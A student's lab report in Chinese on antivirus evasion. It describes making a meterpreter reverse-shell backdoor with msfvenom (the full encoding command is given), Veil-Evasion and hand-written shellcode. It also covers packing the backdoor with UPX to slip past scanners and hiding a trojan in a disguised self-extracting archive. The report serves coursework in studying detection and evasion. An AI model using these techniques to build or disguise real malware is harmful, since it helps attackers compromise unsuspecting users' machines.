2017-2018-2 20155303 『网络对抗技术』Exp3:免杀原理与实践
————————CONTENTS————————
-
1. 免杀原理与实践说明
- 实验说明
- 基础问题回答
- 2. 使用msf编码器生成后门程序及检测
- 3. 使用veil-evasion生成后门程序及检测
- 4. 使用shellcode生成后门程序并检测
-
5. 实验中遇到的问题及思考
- 尝试点其他有趣的?——自解压捆绑木马
- 同样的病毒,不同的杀软杀出来不一样的结果?
- 6. 实验总结及体会
- 附:参考资料
1. 免杀原理与实践说明
一、实验说明
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)
任务二:通过组合应用各种技术实现恶意代码免杀(1分)
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)
二、基础问题回答
- 问:杀软是如何检测出恶意代码的?
- 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
- 基于行为来检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
- 问:免杀是做什么?
- 通过使用一些技术手段,让杀毒软件无法识别并分析主机中的恶意代码。
- 问:免杀的基本方法有哪些?
- 改变特征码:
- 只有exe——加壳
- 有shellcode——利用shellcode生成可执行文件
- 有源代码——用其他语言重写再编译
- 改变行为:
- 通讯方式:尽量使用反弹式连接、使用隧道技术、加密通讯数据等。
- 操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码等。
- 改变特征码:
2. 使用msf编码器生成后门程序及检测
1、在《Exp2:后门原理与实践》博客中,我们生成了一个后门文件。将其放在virscan.org中进行扫描,结果如下图所示:
可以看出,39款杀软中有20款报出了病毒。原因也可想而知,Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度,只要一有新编码算法,马上就会加到特征库里了。
2、使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=xxx LPORT=xxx -f exe > met-encoded10.exe
指令进行多次编码:
再使用virscan.org进行扫描,结果如下所示:
仍然有19款杀软发现病毒。并没有什么卵用。多次编码之后的后门,还是会被大多数杀软发现并清理的。
3. 使用veil-evasion生成后门程序及检测
安装veil-evasion的时候遇到了好多麻烦事,网速贼慢,好不容易下载好了,“展开对象”执行了俩小时还没结束,去网上也搜不到相关的原因和解释,最终还是拷贝了老师的虚拟机。
1、启动evail-evasion,设置好回连的IP地址和端口号后,生成后门文件:
2、放到virscan.org上扫描一下:
比之前用msf生成的文件报毒率低,但还是会被杀软检测出来。
4. 注入Shellcode并执行
在《Exp2:后门原理与实践》博客中,同样介绍了生成shellcode的方法,这次我们利用生成的shellcode编写后门程序,半手工打造恶意软件。
1、生成的shellcode如下图所示:
2、利用shellcode编写一个C语言程序后门,在windows下编译运行后,测试其可用性:
可以看到,成功获取了windows权限。
3、不幸的是,还是被杀毒软件发现了:
4、扫描发现,仍有20%的杀软能够扫描出来:
5、再进行加壳尝试吧。使用UPX对生成的后门程序加壳:
6、杀软没有发现它,扫描结果也比较乐观:
7、测试仍然可用:
5. 实验中遇到的问题及思考
一、尝试点其他有趣的?——自解压捆绑木马
随着人们对木马的了解和防范意识的增强,木马设计者们开发出了更多的功能来伪装木马,以达到降低用户警觉的目的。常用的伪装手段有:
- 修改图标:将木马服务端程序的图标改成HTML、TXT、ZIP等文件格式的图标,使其具有迷惑性。
- 文件捆绑:将木马捆绑到一个安装程序上,当安装程序运行时,木马便会在用户毫无察觉的情况下进入系统。被捆绑的文件一般是可执行文件(如EXE、COM等格式的文件),迷惑性很大。即使重装了系统,如果系统中还安装了那个程序,就很有可能再次中招。
- 更改木马服务端程序的名称:大多数改为与系统文件类似的名字,比如windows.exe啦,或者把后缀改为d11以模仿dll文件之类的。
- ......
在这里,我们来尝试制作自解压捆绑木马。
1、将要捆绑的文件们放在同一个文件夹下,右击选择“添加到压缩文件”
2、设置压缩参数。起一个有趣的名字,并勾选上“创建自解压格式压缩文件”复选框。
3、切换至“高级”选项卡,点击“自解压选项”,选中“模式”中的“全部隐藏”并确定。
4、再打开“文本和图标”选项卡,填写“自解压文件窗口标题”和“自解压文件窗口中显示的文本”,并找一个有趣的图标作为这个自解压文件的图标,比如下面这个比较符合“Linux软件教程”气质的图标:
点击确定按钮。
5、这样一来,我们就生成了一个看起来非常正经的自解压的压缩文件。
6、放到virscan.org试一下,虽说还是会被部分杀软发现,但概率降低了很多~
二、同样的病毒,不同的杀软杀出来不一样的结果?
在virscan.org上面检测的过程中,发现虽然上传的是一个文件,但不同的杀毒软件,扫描结果不尽相同。这是为什么呢?扫描出来的结果都是些什么呢?
查阅资料了解到,这是因为不同的杀毒软件病毒库不完全相同,杀毒引擎不一样,另外,不同的软件功臣是对病毒、系统漏洞的理解也不尽相同。这就造成了杀软结果的千差万别。
5. 实验总结及体会
-
离实战还缺什么步骤?
- 实验中的后门程序都是我们生硬地复制粘贴到靶机上的,但实际攻击的时候怎么可能乖乖让我们把一个赤裸裸的木马放过去?!所以这就用到了一些木马伪装技术,包括木马捆绑、自解压木马、CHM木马等等,课下也进行了浅显的了解和练习,发现的确离实战还有很长一段路要走...
- 这次实验还是一如既往的有趣,不管是平台生成还是手工打造,能生成一个不被杀软发现的后门程序还是有些难度的,需要在不断的摸索中一点一点尝试。虽然此次实验非常基础,对一些现有平台的依赖性仍然很强,但却是一个良好的开端,能够为我们进一步深入研究免杀提供思路。
- 打造免杀软件的过程也增加了危机意识,杀软杀不出来不代表绝对安全。想生成一个不被发现的后门其实也不是什么难事。所以平日要提高安全意识,不要随便在网上下载可执行文件,也不要点击可疑链接,尽量减少被植入后门的可能。